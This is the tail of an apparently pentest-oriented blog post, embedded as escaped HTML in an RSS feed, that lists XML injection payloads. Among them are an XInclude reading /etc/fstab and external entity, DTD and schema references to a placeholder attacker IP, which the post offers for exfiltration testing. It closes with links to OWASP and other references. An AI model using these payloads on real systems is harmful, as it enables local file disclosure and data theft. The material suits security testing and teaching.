&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;document xmlns:xi=&amp;#34;http://&amp;lt;IP&amp;gt;/XInclude&amp;#34;&amp;gt;&amp;lt;footer&amp;gt;&amp;lt;xi:include href=&amp;#34;title.xml&amp;#34;/&amp;gt;&amp;lt;/footer&amp;gt;&amp;lt;/document&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;root xmlns:xi=&amp;#34;http://www.w3.org/2001/XInclude&amp;#34;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;xi:include href=&amp;#34;file:///etc/fstab&amp;#34; parse=&amp;#34;text&amp;#34;/&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;URL handler. This follows &lt;a class="link" href="https://publib.boulder.ibm.com/infocenter/wsadhelp/v5r1m2/topic/com.ibm.etools.xmlbuilder.doc/topics/cxmlcat.html]" target="_blank" rel="noopener"
 &gt;XML Entity - IBM&lt;/a&gt; I have not seen this work “in the wild”. Should be useful for exfiltration testing:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;!DOCTYPE root [&amp;lt;!ENTITY c PUBLIC &amp;#34;-//W3C//TEXT copyright//EN&amp;#34; &amp;#34;http://[IP]/copyright.xml&amp;#34;&amp;gt;]&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;XML Schema Inline:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;madeuptag xlmns=&amp;#34;http://[ip]&amp;#34; xsi:schemaLocation=&amp;#34;http://[IP]&amp;#34;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;/madeuptag&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Remote XML Schema. Also, have not been able to get this to work:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;!DOCTYPE root PUBLIC &amp;#34;abc/Catalog&amp;#34; &amp;#34;http://[IP]/catalog.dtd&amp;#34;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Useful Links:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://publib.boulder.ibm.com/infocenter/wsadhelp/v5r1m2/topic/com.ibm.etools.xmlbuilder.doc/topics/cxmlcat.html" target="_blank" rel="noopener"
 &gt;XML Entity Examples - IBM&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="http://www.vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf" target="_blank" rel="noopener"
 &gt;XML Schema, DTD, and Entity Attacks - A Compendium of Known Techniques&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://www.owasp.org/index.php/Testing_for_XML_Injection_%28OTG-INPVAL-008%29" target="_blank" rel="noopener"
 &gt;OWASP Testing for XML Entity Injection&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item></channel></rss>